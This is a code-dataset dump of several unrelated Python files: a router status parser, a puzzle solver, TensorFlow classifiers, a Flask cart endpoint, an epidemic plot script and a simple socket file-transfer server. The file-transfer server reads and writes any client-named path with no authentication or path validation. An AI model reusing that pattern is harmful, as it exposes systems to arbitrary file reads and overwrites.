logging.error(e)\n return\n\n doc = ET. fromstring(response.content)\n\n idx = value_from(doc, 'wan_active_idx')\n if not idx:\n logging.warn(doc)\n return\n idx = int(idx)\n\n link_status = Hub5_API.extract_record(value_from(doc, 'curlinkstatus'), idx)[0]\n if link_status == 'connected':\n\n a = Hub5_API.extract_record(value_from(doc, 'wan_conn_status_list'), idx)\n wan_conn = WanConnData(*a)\n\n a = Hub5_API.extract_record(value_from(doc, 'wan_conn_volume_list'), idx)\n wan_volumes = WanVolumeData(*a)\n\n a = Hub5_API.extract_record(value_from(doc, 'ip4_info_list'), idx)\n wan_ip = WanIP4(*a)\n\n a = Hub5_API.extract_record(value_from(doc, 'status_rate'), idx)\n conn_rate = ConnRate(*[int(v or 0) for v in a])\n\n return Hub5Status(wan_conn, wan_volumes, wan_ip, conn_rate)\n\n else:\n logging.warn(response.text)\n","sub_path":"utils/bthub_api.py","file_name":"bthub_api.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"201535626","text":"import itertools\nimport math\nimport operator\nimport unittest\nimport re\nfrom collections import namedtuple, Counter\n\n\ndef parse_input(lines):\n result = [int(i) for i in lines]\n return sorted(result, reverse=True)\n\n\ndef solve(lines, top):\n capacities = parse_input(lines)\n print(f'Capacities: {capacities}')\n combos = []\n stack = []\n idx = 0\n accum = 0\n while True:\n partial = accum + capacities[idx]\n # print(f'Partial: {partial}, accum: {accum}, capacity: {capacities[idx]}, combos: {combos}, Stack: {[capacities[idx] for idx in stack]}')\n if partial == top:\n combos.append(stack + [idx])\n elif partial < top:\n stack.append(idx)\n accum = partial\n idx += 1\n if idx >= len(capacities):\n accum, idx = move_to_next_idx(accum, capacities, stack)\n if idx >= len(capacities):\n if len(stack) == 0:\n return combos\n accum, idx = move_to_next_idx(accum, capacities, stack)\n\n\ndef move_to_next_idx(accum, capacities, stack):\n idx = stack.pop()\n accum -= capacities[idx]\n idx += 1\n return accum, idx\n\n\ndef part1(lines, top):\n combos = solve(lines, top)\n return len(combos)\n\n\ndef part2(lines, top):\n combos = solve(lines, top)\n lens = [len(c) for c in combos]\n return Counter(lens)[min(lens)]\n\n\nclass TestPart1(unittest.TestCase):\n def test_sample(self):\n with open('input0.txt') as f:\n lines = f.read().splitlines()\n self.assertEqual(part1(lines, 25), 4)\n\n def test_input1(self):\n with open('input_part1.txt') as f:\n lines = f.read().splitlines()\n self.assertEqual(part1(lines, 150), 4372)\n\n\nclass TestPart2(unittest.TestCase):\n def test_sample(self):\n with open('input0.txt') as f:\n lines = f.read().splitlines()\n self.assertEqual(part2(lines, 25), 3)\n\n def test_input1(self):\n with open('input_part1.txt') as f:\n lines = f.read().splitlines()\n self.assertEqual(part2(lines, 150), 4)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"2015/17/2015_17.py","file_name":"2015_17.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"302886777","text":"import sys\nimport os\n#sys.path.insert(0, '../data_transform')\nimport tensorflow as tf\nimport numpy as np\nimport pandas as pd\n\nfrom base_ml import Machine_Learning\nFAILURE_PREDICTION_PATH = os.environ['FAILURE_PREDICTION']\nsys.path.insert(0, os.path.join(FAILURE_PREDICTION_PATH, \"library\")) # upper directory\nfrom data_prepare import data_preprocessing as dp\n#import make_batch\nimport set_output_dir\n\nimport constant as ct\n\nclass ANN(Machine_Learning):\n\n def __init__(self):\n self.graph = tf.Graph()\n self.session = tf.Session(graph=self.graph)\n '''\n self.ml_dir = ct.ANN_MODEL_DIR\n # output config\n self.trained_ml_save_tag = ct.MODEL_SAVE_TAG\n self.project_dirpath = ct.PROJECT_DIRPATH\n # create_model\n self.nodes_num = ct.ANN_NODES_NUM\n self.dropout_keep_prob = ct.ANN_DROPOUT_KEEP_PROB\n self.l2_reg_lambda = ct.ANN_L2_REG_LAMBDA\n self.validation_sample_percentage = ct.ANN_VALIDATION_SAMPLE_PERCENTAGE\n self.batch_size = ct.ANN_BATCH_SIZE\n self.epochs_num = ct.ANN_EPOCHS_NUM\n self.validation_interval = ct.ANN_VALIDATION_INTERVAL\n self.output_node_num = None\n self.output_node_num = 2\n '''\n\n def input(self):\n print('input')\n self.x = pd.read_csv(self.train_inputpath)\n self.y = self.x.iloc[:,-1].astype(int)\n self.x = self.x.iloc[:,0:-1]\n self.x = np.array(self.x)\n self.y = dp.make_node_y_input(self.y, self.output_node_num)\n\n def set_proper_config_type(self):\n # read from config is string.\n self.output_node_num = int(self.output_node_num)\n self.nodes_num = [int(x) for x in self.nodes_num.split(',')]\n self.l2_reg_lambda = float(self.l2_reg_lambda)\n self.validation_sample_percentage = float(self.validation_sample_percentage)\n self.batch_size = int(self.batch_size)\n self.epochs_num = int(self.epochs_num)\n self.validation_interval = int(self.validation_interval)\n\n def create_ml(self):\n self.ml_dir = str(self.ml_sequence_num) + '_' + self.ml_dir\n # make output directory\n self.dirpath_trained_model, self.dirpath_summary_train, self.dirpath_summary_validation = set_output_dir.make_dir(self.ml_dir, self.project_dirpath)\n self.model_filepath = os.path.join(self.dirpath_trained_model, self.trained_ml_save_tag)\n\n x_width = self.x.shape[-1]\n y_width = self.y.shape[-1]\n with self.graph.as_default():\n # Placeholders for input, output and dropout\n self.input_x = tf.placeholder(tf.float32, [None, x_width], name=\"input_x\")\n self.input_y = tf.placeholder(tf.int32, [None, y_width], name=\"input_y\" )\n # used when evaluation(keep_prob = 1.0)\n self.input_dropout_keep_prob = tf.placeholder(tf.float32, name=\"dropout_keep_prob\") \n \n # Keeping track of 12 regularization loss (optional)\n l2_loss = tf.constant(0.0)\n\n # ANN layer\n pre_num_node = x_width\n NN_result = [None] * (len(self.nodes_num) + 1)\n NN_result[0] = self.input_x\n for index, num_node in enumerate(self.nodes_num):\n if num_node == 0:\n print(\"the number of ANN layer node(num_node=0) is not valid\")\n index = -1\n sys.exit()\n with tf.name_scope(\"completely_connected_NN_layer{}\".format(index+1)):\n W = tf.get_variable(\n \"W_layer{}\".format(index+1),\n shape = [pre_num_node, num_node],\n initializer = tf.contrib.layers.xavier_initializer())\n b = tf.Variable(tf.constant(0.1, shape=[num_node]), name = \"b\")\n l2_loss += tf.nn.l2_loss(W)\n l2_loss += tf.nn.l2_loss(b)\n NN_result[index+1] = tf.sigmoid(tf.nn.xw_plus_b(NN_result[index], W, b, name=\"NN_result{}\".format(index+1)))\n with tf.name_scope(\"dropout\"):\n NN_result[index+1] = tf.nn.dropout(NN_result[index+1], self.input_dropout_keep_prob)\n pre_num_node = num_node\n \n # Predict & Classify layer\n with tf.name_scope(\"output_layer\"):\n W = tf.get_variable(\n \"W\",\n shape=[pre_num_node, y_width],\n initializer=tf.contrib.layers.xavier_initializer())\n b = tf.Variable(tf.constant(0.1, shape=[y_width]), name=\"b\")\n l2_loss += tf.nn.l2_loss(W)\n l2_loss += tf.nn.l2_loss(b)\n \n self.scores = tf.nn.xw_plus_b(NN_result[index+1], W, b, name=\"output\")\n self.softmax = tf.nn.softmax(self.scores, name=\"softmax_scores\")\n self.predictions = tf.argmax(self.scores, 1, name=\"predictions\")\n \n # Evaluation layer\n with tf.name_scope(\"eval_info\"):\n losses = tf.nn.softmax_cross_entropy_with_logits(logits=self.scores, labels=self.input_y)\n self.objective = tf.add(tf.reduce_mean(losses), (self.l2_reg_lambda * l2_loss), name=\"objective\")\n tf.summary.scalar(\"loss\", self.objective)\n correct_predictions = tf.equal(self.predictions, tf.argmax(self.input_y, 1))\n self.accuracy = tf.reduce_mean(tf.cast(correct_predictions, \"float\"), name=\"accuracy\")\n tf.summary.scalar(\"accuracy\", self.accuracy)\n \n # Training operation\n with tf.name_scope(\"train\"):\n self.global_step = tf.Variable(0, name=\"global_step\", trainable=False)\n optimizer = tf.train.AdamOptimizer(1e-3)\n grads_and_vars = optimizer.compute_gradients(self.objective)\n self.op_train = optimizer.apply_gradients(grads_and_vars, global_step=self.global_step, name=\"op_train\")\n \n # Summary & Saver(save learned model)\n self.op_summary = tf.summary.merge_all()\n self.saver_model = tf.train.Saver(tf.global_variables(), name=\"saver_model\")\n\n # Initiazlize all variables of tensor\n self.session.run(tf.global_variables_initializer())\n\n def restore(self):\n# self.x = np.array(self.x)\n# self.y = dp.make_node_y_input(self.y, self.output_node_num)\n # find latest filename of latest model\n self.ml_dir = str(self.ml_sequence_num) + '_' + self.ml_dir\n dirpath_model = os.path.join(self.project_dirpath, self.ml_dir)\n self.dirpath_trained_model = os.path.join(dirpath_model, ct.TRAINED_MODEL_DIR)\n self.dirpath_summary_train = os.path.join(dirpath_model, ct.SUMMARY_DIR, ct.SUMMARY_TRAIN_DIR)\n self.dirpath_summary_validation = os.path.join(dirpath_model, ct.SUMMARY_DIR, ct.SUMMARY_VALIDATION_DIR)\n checkpoint_file_path = os.path.join(self.dirpath_trained_model)\n latest_model = tf.train.latest_checkpoint(checkpoint_file_path)\n with self.graph.as_default():\n # Restore graph and variables and operation\n restorer = tf.train.import_meta_graph(\"{}.meta\".format(latest_model))\n restorer.restore(self.session, \"{}\".format(latest_model))\n # input operation\n self.input_x = self.session.graph.get_operation_by_name(\"input_x\").outputs[0]\n self.input_y = self.session.graph.get_operation_by_name(\"input_y\").outputs[0]\n self.input_dropout_keep_prob = self.session.graph.get_operation_by_name(\"dropout_keep_prob\").outputs[0]\n # train operation\n self.op_train = self.session.graph.get_operation_by_name(\"train/op_train\").outputs[0]\n self.accuracy = self.session.graph.get_operation_by_name(\"eval_info/accuracy\").outputs[0]\n self.global_step = self.session.graph.get_operation_by_name(\"train/global_step\").outputs[0]\n # summary, model saver\n self.op_summary = tf.summary.merge_all()\n self.saver_model = tf.train.Saver(tf.global_variables(), name=\"saver_model\")\n \n def train(self):\n # make training/validation data batch by batch\n x_train, x_val, y_train, y_val = dp.divide_fold(self.x, self.y, num_fold=9)\n batches = dp.batch_iterator(x_train, y_train, self.batch_size, self.epochs_num)\n # writer(tensorboard) \n writer_train = tf.summary.FileWriter(self.dirpath_trained_model, self.session.graph)\n writer_validation = tf.summary.FileWriter(self.dirpath_summary_train, self.session.graph)\n\n # Training\n for batch in batches:\n x_batch = batch[0]\n y_batch = batch[1]\n feed_dict = {\n self.input_x : x_batch,\n self.input_y : y_batch,\n self.input_dropout_keep_prob : self.dropout_keep_prob\n }\n _, current_step, summary_train = self.session.run(\n [self.op_train, self.global_step, self.op_summary], feed_dict)\n writer_train.add_summary(summary_train, current_step)\n if current_step % self.validation_interval == 0:\n feed_dict = {\n self.input_x : x_val,\n self.input_y : y_val,\n self.input_dropout_keep_prob : 0.5\n }\n accuracy, summary_validation = self.session.run(\n [self.accuracy, self.op_summary], feed_dict)\n print (\"validation at step {}, accuracy = {}\".format(current_step, accuracy))\n writer_validation.add_summary(summary_validation, current_step)\n # save trained model\n filepath_trained_model = os.path.join(self.dirpath_trained_model, self.trained_ml_save_tag) \n self.saver_model.save(self.session, filepath_trained_model, global_step=current_step)\n print(\"Save learned at step {}\".format(current_step))\n\n def run(self):\n feed_dict = {\n self.input_x : self.x,\n self.input_y : self.y,\n self.input_dropout_keep_prob : 1.0\n }\n op_result = self.session.graph.get_operation_by_name(\"output_layer/predictions\").outputs[0]\n result = self.session.run([op_result], feed_dict)\n output_filepath = os.path.join(self.project_dirpath, self.ml_dir, self.run_result_file)\n output = pd.DataFrame(data=result).T\n output.columns = ['result']\n output.to_csv(output_filepath, index=False)\n print(\"result saved as \\'{}\\'\".format(output_filepath))\n return result\n","sub_path":"v0.2/prophet/library/machine_learning/ann.py","file_name":"ann.py","file_ext":"py","file_size_in_byte":10594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"90416564","text":"import tensorflow as tf\nimport numpy as np\nimport pandas as pd\nimport os, sys\n\n# read data\ndata = pd.read_csv(os.path.join(os.getcwd(), 'Iris.csv'), header=None)\nnum_category = 3\n\nnames = []\nfor name in data[4]:\n # print(name)\n # if not isinstance(sex, str):\n # data.drop(i, axis=0, inplace=True)\n if \"setosa\" in name:\n names.append(0)\n elif \"versicolor\" in name:\n names.append(1)\n elif \"virginica\" in name:\n names.append(3)\ndata[4] = names\n\n\ndef split_train_test(data, test_ratio):\n # np.random.seed(42), if you want to get the same random generated numbers\n # The method seed() sets the integer starting value used in generating random numbers.\n # Call this function before calling any other random module function.\n np.random.seed(42)\n shuffled_indices = np.random.permutation(len(data))\n test_set_size = int(len(data) * test_ratio)\n test_indices = shuffled_indices[:test_set_size]\n train_indices = shuffled_indices[test_set_size:]\n\n return data.iloc[train_indices], data.iloc[test_indices]\n\ntrain_data, val_data = split_train_test(data, 0.3)\n# data preprocess\ntrain_features = train_data.values[:, :-1]\ntrain_labels = train_data.values[:, -1:]\ntrain_labels = np.reshape(train_labels, newshape=[-1])\n\nval_features = val_data.values[:, :-1]\nval_labels = val_data.values[:, -1:]\nval_labels = np.reshape(val_labels, newshape=[-1])\n\n# normalize\n# max_values = np.max(train_features, axis=0)\n# min_values = np.min(train_features, axis=0)\n\n# norm_train_data = (train_features - min_values)/(max_values - min_values)\n# norm_val_data = (val_features - min_values)/(max_values - min_values)\n\n# max_label = np.max(train_labels, axis=0)\n# min_label = np.min(train_labels, axis=0)\n\n# norm_train_label = (train_labels - min_label)/(max_label - min_label)\n# norm_val_label = (val_labels - min_label)/(max_label - min_label)\n\n# construction\nx = tf.placeholder(dtype=tf.float32, shape=[None, 4], name='x')\ny = tf.placeholder(dtype=tf.float32, shape=[None, num_category], name='y')\ntrain_y_1hot = tf.one_hot(train_labels, depth=num_category)\nval_y_1hot = tf.one_hot(val_labels, depth=num_category)\nlr = tf.placeholder(dtype=tf.float32, shape=[], name='lr')\n\nlayer0 = tf.layers.dense(x, units=256, activation=tf.nn.sigmoid)\nlayer1 = tf.layers.dense(layer0, units=256, activation=tf.nn.sigmoid)\nlayer2 = tf.layers.dense(layer1, units=num_category)\nlogits = tf.identity(layer2, name='logits')\n# logits = tf.reshape(logits, shape=[-1])\n\nloss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(labels=y, logits=logits))\n\nlogit_cls = tf.argmax(logits, axis=1)\ny_cls = tf.argmax(y, axis=1)\n\n# loss = tf.losses.mean_squared_error(labels=y, predictions=logits)\nacc = tf.reduce_mean(tf.cast(tf.equal(logit_cls, y_cls), tf.float32))\n\ntrain_op = tf.train.GradientDescentOptimizer(lr).minimize(loss)\n\n\ntf.summary.scalar('loss', loss)\ntf.summary.scalar('accuracy', acc)\n\ntrain_writer = tf.summary.FileWriter('tensorboard/train')\nval_writer = tf.summary.FileWriter('tensorboard/val')\n\nmerge_all = tf.summary.merge_all()\ntrain_writer.add_graph(tf.get_default_graph())\n\n# execution\nsess = tf.Session()\nsess.run(tf.global_variables_initializer())\ntrain_y_1hot_, val_y_1hot_ = sess.run([train_y_1hot, val_y_1hot])\n\nprint('start training...')\nfor i in range(10000):\n merge_all_, train_op_ = sess.run(\n [merge_all, train_op],\n feed_dict={x: train_features, y: train_y_1hot_, lr: 0.01}\n )\n train_writer.add_summary(merge_all_, global_step=i)\n\n merge_all_ = sess.run(\n merge_all,\n feed_dict={x: val_features, y: val_y_1hot_, lr: 0.01}\n )\n val_writer.add_summary(merge_all_, global_step=i)\n\n\nprint('end training...')\n\n#model save and restore\n# saver = tf.train.Saver()\n# saver.save(sess, save_path='boston/model')","sub_path":"code/DNN/iris/iris.py","file_name":"iris.py","file_ext":"py","file_size_in_byte":3800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"581038393","text":"#!/usr/bin/python -tt\n\n# Cody File Transfer Protocol\n# cftp-server.py\n\n\nimport sys\nfrom socket import *\nfrom datetime import datetime\nimport subprocess\nimport os\nimport thread\n\nversion = '10'\n\ndef padlen(string, sock):\n\tif len(string) > hlen - 4:\n\t\terrormsg = 'ERROR: file too big'\n\t\tlog(errormsg)\n\t\tsock.sendall(version + '00' + padlen(str(len(errormsg)), sock) + errormsg)\n\t\tsock.close()\n\t\texit()\n\twhile len(string) < hlen - 4:\n\t\tstring = '0' + string\n\treturn string\n\ndef log(string):\n\tglobal homedir\n\tprint(string)\n\tf = open(homedir + 'cftplog.txt', 'a')\n\tf.write(str(datetime.now()) + ' | ' + string + '\\n')\n\tf.close()\n\ndef recvall(sock, msglen):\n # Helper function to recv 'msglen' bytes or return None if EOF is hit\n data = ''\n while len(data) < msglen:\n packet = sock.recv(msglen - len(data))\n if not packet:\n return None\n data += packet\n return data\n\ndef handler(connectionSocket, currentAddr):\n\tglobal hlen\n\tglobal homedir\n\theader1 = connectionSocket.recv(hlen)\n\tif header1[:2] != version:\n\t\terrormsg = 'ERROR: version mismatching'\n\t\tlog(errormsg)\n\t\tconnectionSocket.sendall(version + '00' + padlen(str(len(errormsg)), connectionSocket) + errormsg)\n\t\tconnectionSocket.close()\n\t\tlog('Disconnected from ' + str(currentAddr[0]) + ':' + str(currentAddr[1]) + '\\n')\n\t\treturn\n\tif header1[2:4] == '00':\n\t\tconnectionSocket.close()\n\t\tlog('Disconnected from ' + str(currentAddr[0]) + ':' + str(currentAddr[1]) + '\\n')\n\t\treturn\n\telif header1[2:4] == '11':\n\t\tfilename = connectionSocket.recv(int(header1[4:hlen]))\n\t\tlog('Ready to receive \\'' + filename + '\\'')\n\t\theader2 = connectionSocket.recv(hlen)\n\t\tif header2[:2] != version:\n\t\t\terrormsg = 'ERROR: version mismatching'\n\t\t\tlog(errormsg)\n\t\t\tconnectionSocket.sendall(version + '00' + padlen(str(len(errormsg)), connectionSocket) + errormsg)\n\t\t\tconnectionSocket.close()\n\t\t\tlog('Disconnected from ' + str(currentAddr[0]) + ':' + str(currentAddr[1]) + '\\n')\n\t\t\treturn\n\t\tif header2[2:4] == '12':\n\t\t\tfileString = recvall(connectionSocket, int(header2[4:hlen]))\n\t\t\tlog('Received \\'' + filename + '\\'')\n\t\t\tfile = open(homedir + filename, 'w')\n\t\t\tfile.write(fileString)\n\t\t\tfile.close()\n\telif header1[2:4] == '21':\n\t\tpathname = connectionSocket.recv(int(header1[4:hlen]))\n\t\tlog('Ready to send \\'' + pathname + '\\'')\n\t\tfile = open(pathname, 'r')\n\t\tfileString = file.read()\n\t\tconnectionSocket.sendall(version + '22' + padlen(str(len(fileString)), connectionSocket) + fileString)\n\telse:\n\t\tprint('ERRORE')\n\tlog('Disconnected from ' + str(currentAddr[0]) + ':' + str(currentAddr[1]) + '\\n')\n\tconnectionSocket.close()\n\nserverPort = 24042\nhlen = 32\nserverSocket = socket(AF_INET, SOCK_STREAM)\nserverSocket.bind(('', serverPort))\nserverSocket.listen(1)\nhomedir = os.environ['HOME'] + '/'\nprint(\"Server up\\n\")\n\nwhile True:\n\tnewSocket, addr = serverSocket.accept()\n\tlog('Connected to ' + str(addr[0]) + \":\" + str(addr[1]))\n\tthread.start_new_thread(handler, (newSocket, addr, ))\n\t\nserverSocket.close()","sub_path":"cftp-server.py","file_name":"cftp-server.py","file_ext":"py","file_size_in_byte":2979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"190208474","text":"from flask import Blueprint, request, jsonify\nfrom psycopg2 import sql\n\nfrom app.models import check_auth, authorize, config\nfrom personal_area.registration import valid_email, valid_password\nfrom database import Database\n\ncart_bp = Blueprint('cart', __name__)\n\n\n@cart_bp.route('/cart', methods=['GET', 'POST', 'DELETE'])\ndef cart():\n \"\"\"Cart user`s\"\"\"\n\n user = check_auth(request.headers, __name__)\n if user != True:\n return user\n user = authorize.get(request.headers.get('UserToken'))\n\n try:\n database = Database(config)\n except TypeError:\n vozvrat[\"messageError\"] = \"Нет подключения к БД\"\n return jsonify(vozvrat)\n\n vozvrat = None\n execute = None\n data_cart = {\n \"user_id\": user.get_id()\n }\n\n if request.method == 'GET':\n fields = [\n \"up.id\",\n \"up.name\",\n \"up.photo\",\n \"c.sale\",\n \"up.weight\",\n \"c.weight_user\",\n \"c.price_for_user\",\n \"c.farmer_price\",\n \"c2.name\",\n \"u.name\"\n ]\n\n query = sql.SQL(\"\\\n SELECT\\\n {column}\\\n FROM public.cart c\\\n LEFT JOIN users_product up on c.users_product_id = up.id\\\n LEFT JOIN currencys c2 on up.currency_id = c2.id\\\n LEFT JOIN units u on up.unit_id = u.id\\\n WHERE {condition}\").format(\n\n column=sql.SQL(',').join(\n sql.SQL(i) for i in fields),\n condition=sql.SQL('c.user_id={user_id}').format(\n user_id=sql.Literal(data_cart['user_id'])\n )\n )\n\n execute = database.select_data(query)\n\n if type(execute) != list:\n return jsonify(execute)\n\n if len(execute) == 0:\n return jsonify({'messageError': \"Корзина пустая\"})\n\n vozvrat = []\n data_append = {}\n for row in execute:\n for i in range(len(fields)):\n value = row[i]\n if fields[i] == \"up.id\":\n fields[i] = \"up.users_product_id\"\n elif fields[i] == \"c2.name\":\n fields[i] = \"c2.currency\"\n elif fields[i] == \"u.name\":\n fields[i] = \"u.unit\"\n elif fields[i] == \"up.weight\":\n fields[i] = \"up.weight_farmer\"\n\n data_append[fields[i].split('.')[1]] = value\n vozvrat.append(data_append)\n\n return jsonify(vozvrat)\n\n file = request.get_json(silent=True)\n if file != None:\n if file.get(\"users_product_id\") == None or type(file.get(\"users_product_id\")) != int:\n return jsonify({\"messageError\": \"Выберете товар, который нужно добавить в корзину\"})\n data_cart[\"users_product_id\"] = int(file.get(\"users_product_id\"))\n\n query = sql.SQL(\"SELECT {column} FROM {table} WHERE {condition}\").format(\n table=sql.Identifier(\"public\", \"cart\"),\n column=sql.SQL(',').join(\n sql.Identifier(i) for i in [\"id\"]),\n condition=sql.SQL('user_id={user_id} and users_product_id={users_product_id}').format(\n user_id=sql.Literal(data_cart['user_id']),\n users_product_id=sql.Literal(data_cart['users_product_id'])\n )\n )\n\n execute = database.select_data(query)\n\n if type(execute) != list:\n return execute\n else:\n vozvrat[\"messageError\"] = \"JSON отсутсвует\"\n\n if request.method == 'DELETE' and len(execute) != 0:\n query = sql.SQL(\"DELETE FROM {table} WHERE {condition}\").format(\n table=sql.Identifier(\"public\", \"cart\"),\n condition=sql.SQL('user_id={user_id} and users_product_id={users_product_id}').format(\n user_id=sql.Literal(data_cart['user_id']),\n users_product_id=sql.Literal(data_cart['users_product_id'])\n )\n )\n\n execute = database.insert_data(query)\n if execute != True:\n return execute\n vozvrat = {\"messageSuccess\": \"Товар удалён из корзины\"}\n\n elif request.method == 'DELETE' and len(execute) == 0:\n return jsonify({'messageError': \"Товар отсутствует в корзине\"})\n\n if request.method == 'POST' and len(execute) == 0:\n data_cart[\"weight_user\"] = float(file.get(\"weight\"))\n if data_cart[\"weight_user\"] == None:\n return jsonify({'messageError': \"Укажите вес товара\"})\n\n fields = [\n \"weight\",\n \"sale\",\n \"price\",\n \"currency_id\",\n \"unit_id\"\n ]\n\n query = sql.SQL(\"\\\n SELECT\\\n {column}\\\n FROM public.users_product\\\n WHERE {condition}\").format(\n\n column=sql.SQL(',').join(\n sql.SQL(i) for i in fields),\n condition=sql.SQL('id={users_product_id}').format(\n users_product_id=sql.Literal(data_cart['users_product_id'])\n )\n )\n\n execute = database.select_data(query)\n\n if type(execute) != list:\n return jsonify(execute)\n\n if len(execute) == 0:\n return jsonify({'messageError': \"Такого товара не существует\"})\n\n execute = execute[0]\n\n data_cart[\"user_id\"] = user.get_id()\n data_cart[\"farmer_price\"] = float(execute[2])\n weight_farmer = float(execute[0])\n data_cart[\"sale\"] = int(execute[1])\n data_cart[\"price_for_user\"] = float(\n \"{:.2f}\".format(\n (data_cart['farmer_price'] / weight_farmer) *\n data_cart['weight_user'] * (1 + data_cart[\"sale\"] / 100)\n )\n )\n\n list_value = [i[1] for i in data_cart.items()]\n\n query = sql.SQL(\"INSERT INTO {table}(adding_time, {column}) VALUES(now(), {value})\").format(\n table=sql.Identifier(\"public\", \"cart\"),\n column=sql.SQL(',').join(\n sql.Identifier(i) for i in data_cart),\n value=sql.SQL(',').join(sql.Literal(i) for i in list_value)\n )\n\n execute = database.insert_data(query)\n if execute != True:\n return execute\n vozvrat = {\"messageSuccess\": \"Товар добавлен в корзину\"}\n elif request.method == 'POST' and len(execute) != 0:\n return jsonify({'messageError': \"Товар присутствует в корзине\"})\n\n return jsonify(vozvrat)\n","sub_path":"backend/personal_area/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":6535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"173039905","text":"import math\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\nfrom matplotlib import rc\nfrom matplotlib.ticker import ScalarFormatter\nnp.random.seed(0)\nrc('text', usetex=True)\nrc('font', **{'family': \"sans-serif\"})\nparams = {'text.latex.preamble': [r'\\usepackage{amsmath}']}\nmpl.rcParams['axes.xmargin'] = 0\nmpl.rcParams['axes.ymargin'] = 0\n\n# number of nodes (max: 50)\nn = 50\n\n# preparation\nINF = 1e9\nepsilon = 1e-15\nIn = np.identity(n)\nOn = np.zeros((n, n))\n\n\nclass FixedOrderFormatter(ScalarFormatter):\n def __init__(self, order_of_mag=0, useOffset=True, useMathText=True):\n self._order_of_mag = order_of_mag\n ScalarFormatter.__init__(self, useOffset=useOffset,\n useMathText=useMathText)\n\n def _set_orderOfMagnitude(self, range):\n self.orderOfMagnitude = self._order_of_mag\n\n\ndef event_trigger_func(x, xk, sigma, eta):\n # define triggering rule\n if math.fabs(x - xk) > sigma * x + eta:\n return 1\n else:\n return 0\n\n\ndef plot_data(K, L, sigma, eta, d_table, choice):\n # define time and gap\n Time = 1000000\n h = 0.00015\n\n # define propotion of infected pepole\n x = np.zeros([Time, n])\n x0 = np.random.rand(n)\n x0[0] /= 3\n x[0] = x0\n xk = x0\n\n # define event and objective list\n event = np.zeros([Time, n])\n d_table_list = np.array([d_table for i in range(Time)])\n u_transition = np.zeros([Time - 1, n])\n v_transition = np.zeros([Time - 1, n])\n\n # for i in range(n):\n # if W[1][i] == 1 and choice == 3:\n # D[i][i] *= 1.3\n\n Bn = B / (10 * D_base_max)\n Dn = D / (10 * D_base_max)\n Kn = K / (10 * D_base_max)\n Ln = L / (10 * D_base_max)\n Dn[0][0] *= 1.15\n\n # collect transition data of propotion of infected pepole and triggerring event\n for k in range(Time - 1):\n\n # # choice 1 has no control input\n if choice == 1:\n x[k + 1] = x[k] + h * \\\n (-Dn.dot(x[k]) + (In - np.diag(x[k])).dot(Bn.T).dot(x[k]))\n\n # # In the case of using feedback controller\n else:\n for i in range(n):\n # # choice 2 is the case of continuous controller\n if choice == 2 and event_trigger_func(x[k][i], xk[i], 0, 0) == 1:\n xk[i] = x[k][i]\n event[k + 1][i] = 1\n\n # # choice 3 is the case of event-triggered controller\n elif choice == 3 and event_trigger_func(x[k][i], xk[i], sigma[i], eta[i]) == 1:\n xk[i] = x[k][i]\n event[k + 1][i] = 1\n x[k + 1] = x[k] + h * (-(Dn * 1.1 + Kn.dot(np.diag(xk))).dot(x[k]) + (\n In - np.diag(x[k])).dot(Bn.T - Ln.dot(np.diag(xk)).T).dot(x[k]))\n\n # plot data\n # # subplot 1 is the transition data of x\n fig = plt.figure(figsize=(16, 9.7))\n ax1 = fig.add_axes((0, 0, 1, 1))\n cm = plt.cm.get_cmap('cubehelix', 1.2 * n)\n\n for i in range(n):\n ax1.plot(x.T[i], lw=3, color=cm(i))\n\n # # # plot setting\n ax1.set_xlabel(r'$t$', fontsize=60)\n ax1.set_ylabel(\n r'$x_i(t)$', fontsize=60)\n ax1.set_xticks([0, 1000000])\n ax1.xaxis.set_major_formatter(FixedOrderFormatter(4, useMathText=True))\n ax1.xaxis.offsetText.set_fontsize(0)\n ax1.ticklabel_format(style=\"sci\", axis=\"x\", scilimits=(4, 4))\n ax1.tick_params(axis='x', labelsize=60)\n ax1.set_yscale('log')\n ax1.set_ylim([0.005, 1])\n ax1.set_yticks([0.01, 0.1, 1])\n ax1.set_yticklabels([r'$10^{-2}$', r'$10^{-1}$', r'$1$'])\n ax1.tick_params(axis='y', labelsize=60)\n ax1.grid(which='major', alpha=0.8, linestyle='dashed')\n\n if choice == 1:\n fig.savefig(\"./images/x_all_zeroinput_log.pdf\",\n bbox_inches=\"tight\", dpi=300)\n elif choice == 2:\n fig.savefig(\"./images/x_all_continuous_log.pdf\",\n bbox_inches=\"tight\", dpi=300)\n elif choice == 3:\n fig.savefig(\"./images/x_all_event_log.pdf\", bbox_inches=\"tight\", dpi=300)\n\n\nif __name__ == '__main__':\n D_base_max = 1.8\n D = np.load('./data/matrix/D.npy')\n B = np.load('./data/matrix/B.npy')\n K = np.load('./data/matrix/K.npy')\n L = np.load('./data/matrix/L.npy')\n sigma = np.load('./data/matrix/sigma.npy')\n eta = np.load('./data/matrix/eta.npy')\n W = np.load('data/matrix/W.npy')\n d_table = np.load('data/matrix/d_table.npy')\n\n # plot data\n plot_data(K, L, sigma, eta, d_table, choice=3)\n","sub_path":"sis-etc-solver/sis-etc-solver==6/x_all_plot_log.py","file_name":"x_all_plot_log.py","file_ext":"py","file_size_in_byte":4462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"628666528","text":"from django.db import models\nfrom web_API.models.EventPolls import EventPolls\nfrom web_API.models.Options import Options\nfrom web_API.dataAccessLayer.Comment import Comment\nimport datetime\n\nclass Option():\n \n @staticmethod\n def get_options(poll_id):\n options_query_set = Options.objects.filter(event_poll_id = poll_id).values(\"id\", \"label\", \"startDate\", \"endDate\")\n options_list = list()\n for i in range(options_query_set.count()):\n comments = Comment.get_comments(options_query_set[i]['id'])\n option = 